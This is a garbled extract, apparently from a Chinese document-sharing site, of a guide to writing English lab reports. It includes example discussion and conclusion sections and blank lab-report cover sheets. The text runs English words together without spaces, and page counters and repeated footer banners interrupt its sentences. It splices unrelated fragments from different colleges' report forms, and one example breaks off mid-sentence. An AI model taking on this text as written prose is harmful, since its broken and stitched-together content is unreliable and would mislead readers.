howdoyourresultscomparewithsimilarexperiments,whymightyourresultsdiffer. Example: Ourteamattemptedtodeterminewhetherbarometricpressureinfluenceschildren’ sabilitytofocus.inparticular,wetestedTucker’ s(1999)hypothesis,whichstatesthatchildren’ sfocuscorrelatesnegativelywithbarometricpressure. TheresultshowpartialsupportforTucker’ shypothesis.Inparticular,childrenfocussignificantlybetterwhenthebarometricpressureislowthantheydowhenthebarometricpressureisneutralorhigh.however,childrenfocusedonlyslightlyworseduringhighpressurethannormalpressure.theunusuallyhighstandarddeviationonthehigh-pressureday(Thursday)suggeststhathighbarometricpressuremightaffectsomechildrengreatlyandothersverylittle. theresultssuggestthat,whendiagnosingADHD,practition 17 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 ersshouldgivetheCPTwhenbarometricpressureisneutral. Theexperimentcoversonlythreedifferentdays.Amorecomprehensiveexperimentshouldsampleatleast10differentdays. Conclusion 概括一下resultsandthediscussion的最主要最精华的 部分。因为abstract和conclusion是被最常看的部分。 discussion和conclusions永远是两个不同的部分。 通常的: 1thetheory(hypothesis) 2theresults example: Conclusion Thepurposeofthislabwastolearnabouttheoptimalforagingtheorybymeasuringtreeselectioninbeavers.Wenowknowthattheoptimalforagingtheoryallowsustopredictfood-seekingbehaviorinbeaverswith 实验报告 课程名称:大学英语实验项目:基础英语口语听力 训练专业班别: 姓名:学号:实验课室:博学楼41指导教师:刘红 云实验日期: 18 / 19 ---------------------------------------------感谢观看本文-------谢谢----------------------------------------------------------- 电脑控制弦音计2016 广州职业技术学院教务处制 一、实验项目训练方案 广州珠江职业技术学院教务处制 一、实验项目训练方案 广州珠江职业技术学院教务处制 课程实验报告 专业年级2012级工商管理 课程名称新视野大学英语 指导教师刘领 学生姓名王珩璇、钟练、姚欢、胡叶夏一、马卫 学号实验日期2012年12月19日 实验地点A4理工综合楼227 实验成绩 教务处制 2012年12月19日 注:可根据实际情况加页 19 / 19 ---------------------------------------------感谢观看本文-------谢谢-----------------------------------------------------------"); 范文四:微波实验报告
范文五:英语实验报告